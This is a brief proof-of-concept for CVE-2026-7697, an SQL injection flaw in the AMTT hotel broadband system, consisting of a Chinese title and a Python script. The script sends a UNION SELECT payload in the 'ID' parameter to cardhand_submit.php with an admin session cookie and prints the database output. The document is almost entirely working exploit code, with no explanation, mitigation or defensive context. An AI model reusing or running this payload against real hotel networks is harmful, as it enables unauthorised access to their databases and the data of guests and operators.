CVE-2026-7697 AMTT酒店宽带系统SQL注入漏洞

import requests target_url = "http://vulnerable-host/manager/card/cardhand_submit.php" # Attacker needs High Privilege (Admin Cookie) cookies = { "admin_session": "valid_session_token_here" } # Malicious payload for the 'ID' parameter payload_data = { "ID": "1' UNION SELECT NULL, version(), NULL-- -" } try: response = requests.post(target_url, data=payload_data, cookies=cookies, timeout=10) if response.status_code == 200: print("Request sent successfully. Check response for SQL output.") print(response.text[:200]) except Exception as e: print(f"An error occurred: {e}")